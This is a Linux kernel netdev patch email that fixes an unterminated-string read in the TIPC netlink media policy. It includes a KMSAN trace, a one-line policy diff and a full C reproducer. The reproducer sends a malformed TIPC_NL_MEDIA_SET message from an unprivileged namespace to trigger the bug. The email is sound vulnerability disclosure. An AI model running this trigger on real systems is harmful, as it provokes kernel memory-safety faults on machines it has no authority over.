From: Kyuwon Cho <kyuwoncho18@gmail.com>
To: Jon Maloy <jmaloy@redhat.com>,
Tung Quang Nguyen <tung.quang.nguyen@est.tech>
Cc: "David S. Miller" <davem@davemloft.net>,
Eric Dumazet <edumazet@kernel.org>,
Jakub Kicinski <kuba@kernel.org>, Paolo Abeni <pabeni@redhat.com>,
Willem de Bruijn <willemb@google.com>,
Simon Horman <horms@kernel.org>,
Ying Xue <ying.xue@windriver.com>,
netdev@vger.kernel.org, tipc-discussion@lists.sourceforge.net,
Richard Alpe <richard.alpe@ericsson.com>
Subject: [PATCH net] tipc: require a NUL-terminated media name
Date: Wed, 25 Nov 2026 11:05:11 +0900 [thread overview]
Message-ID: <179553307369.1670514.10258867019821056369@gmail.com> (raw)
TIPC_NLA_MEDIA_NAME is an NLA_STRING, which may lack a NUL terminator,
but tipc_nl_media_get() and __tipc_nl_media_set() pass it to
tipc_media_find(), which compares it with strcmp(). A name without a
terminator at the end of the message makes strcmp() read past the
attribute:
BUG: KMSAN: uninit-value in strcmp (lib/string.c:267)
strcmp (lib/string.c:267)
__tipc_nl_media_set (net/tipc/bearer.c:82 net/tipc/bearer.c:1381)
tipc_nl_media_set (net/tipc/bearer.c:1426)
genl_family_rcv_msg_doit (net/netlink/genetlink.c:1114)
genl_rcv_msg (net/netlink/genetlink.c:1209)
netlink_rcv_skb (net/netlink/af_netlink.c:2585)
Uninit was created at:
__alloc_skb (net/core/skbuff.c:716)
netlink_alloc_large_skb (net/netlink/af_netlink.c:1202)
netlink_sendmsg (net/netlink/af_netlink.c:1896)
Make it an NLA_NUL_STRING bounded by TIPC_MAX_MEDIA_NAME, as the link
and bearer names already are.
Fixes: 46f15c6794fb ("tipc: add media get/dump to new netlink api")
Signed-off-by: Kyuwon Cho <kyuwoncho18@gmail.com>
---
The issue was found by an LLM-guided test generator that we are
developing as a research prototype. A reproducer, which runs as any
user: it sends TIPC_NL_MEDIA_SET with the media name "udp" unterminated
at the very end of the message.
#define _GNU_SOURCE
#include <linux/genetlink.h>
#include <linux/tipc_netlink.h>
#include <sched.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
static unsigned char req[256], *p;
static int fd;
static void msg(int family, int cmd)
{
memset(req, 0, sizeof(req));
((struct nlmsghdr *)req)->nlmsg_type = family;
((struct nlmsghdr *)req)->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
((struct genlmsghdr *)NLMSG_DATA(req))->cmd = cmd;
((struct genlmsghdr *)NLMSG_DATA(req))->version = 1;
p = req + NLMSG_LENGTH(GENL_HDRLEN);
}
static struct nlattr *attr(int type, const void *data, int len)
{
struct nlattr *a = (void *)p;
a->nla_type = type;
a->nla_len = NLA_HDRLEN + len;
memcpy(a + 1, data, len);
p += NLA_ALIGN(a->nla_len);
return a;
}
/* sends len bytes; returns the ack's error and copies the family id of a reply */
static int talk(int len, unsigned short *id)
{
static char buf[8192];
struct nlmsghdr *nh = (void *)req;
int n;
nh->nlmsg_len = len;
send(fd, req, len, 0);
for (;;) {
n = recv(fd, buf, sizeof(buf), 0);
for (nh = (void *)buf; NLMSG_OK(nh, n); nh = NLMSG_NEXT(nh, n)) {
struct nlattr *a = (void *)((char *)NLMSG_DATA(nh) + GENL_HDRLEN);
int rem = nh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);
if (nh->nlmsg_type == NLMSG_ERROR)
return ((struct nlmsgerr *)NLMSG_DATA(nh))->error;
for (; rem >= NLA_HDRLEN && a->nla_len >= NLA_HDRLEN;
rem -= NLA_ALIGN(a->nla_len), a = (void *)((char *)a + NLA_ALIGN(a->nla_len)))
if (id && a->nla_type == CTRL_ATTR_FAMILY_ID)
memcpy(id, a + 1, 2);
}
}
}
int main(void)
{
struct nlattr *nest, *name;
unsigned short tipc = 0;
/* TIPC_NL_MEDIA_SET needs CAP_NET_ADMIN over the netns */
if (unshare(CLONE_NEWUSER | CLONE_NEWNET))
return perror("unshare"), 1;
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
msg(GENL_ID_CTRL, CTRL_CMD_GETFAMILY);
attr(CTRL_ATTR_FAMILY_NAME, TIPC_GENL_V2_NAME, sizeof(TIPC_GENL_V2_NAME));
talk(p - req, &tipc);
/* "udp" without a NUL, at the very end of the message */
msg(tipc, TIPC_NL_MEDIA_SET);
nest = attr(TIPC_NLA_MEDIA | NLA_F_NESTED, NULL, 0);
name = attr(TIPC_NLA_MEDIA_NAME, "udp", 3);
nest->nla_len = (unsigned char *)name + name->nla_len - (unsigned char *)nest;
printf("TIPC_NL_MEDIA_SET: %d\n", talk((unsigned char *)name + name->nla_len - req, NULL));
return 0;
}
Without the patch, KMSAN reports the uninit-value above; with it, the
request fails with -EINVAL.
The patch was written with LLM assistance; we reviewed and tested it.
net/tipc/netlink.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/net/tipc/netlink.c b/net/tipc/netlink.c
index 1307dd1a9613..4a861a7eb3f6 100644
--- a/net/tipc/netlink.c
+++ b/net/tipc/netlink.c
@@ -137,7 +137,8 @@ const struct nla_policy tipc_nl_bearer_policy[TIPC_NLA_BEARER_MAX + 1] = {
const struct nla_policy tipc_nl_media_policy[TIPC_NLA_MEDIA_MAX + 1] = {
[TIPC_NLA_MEDIA_UNSPEC] = { .type = NLA_UNSPEC },
- [TIPC_NLA_MEDIA_NAME] = { .type = NLA_STRING },
+ [TIPC_NLA_MEDIA_NAME] = { .type = NLA_NUL_STRING,
+ .len = TIPC_MAX_MEDIA_NAME },
[TIPC_NLA_MEDIA_PROP] = { .type = NLA_NESTED }
};
--
2.43.0
reply other threads:[~2026-11-25 2:05 UTC|newest]
Thread overview: [no followups] expand[flat|nested] mbox.gz Atom feed
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=179553307369.1670514.10258867019821056369@gmail.com \
--to=kyuwoncho18@gmail.com \
--cc=davem@davemloft.net \
--cc=edumazet@kernel.org \
--cc=horms@kernel.org \
--cc=jmaloy@redhat.com \
--cc=kuba@kernel.org \
--cc=netdev@vger.kernel.org \
--cc=pabeni@redhat.com \
--cc=richard.alpe@ericsson.com \
--cc=tipc-discussion@lists.sourceforge.net \
--cc=tung.quang.nguyen@est.tech \
--cc=willemb@google.com \
--cc=ying.xue@windriver.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox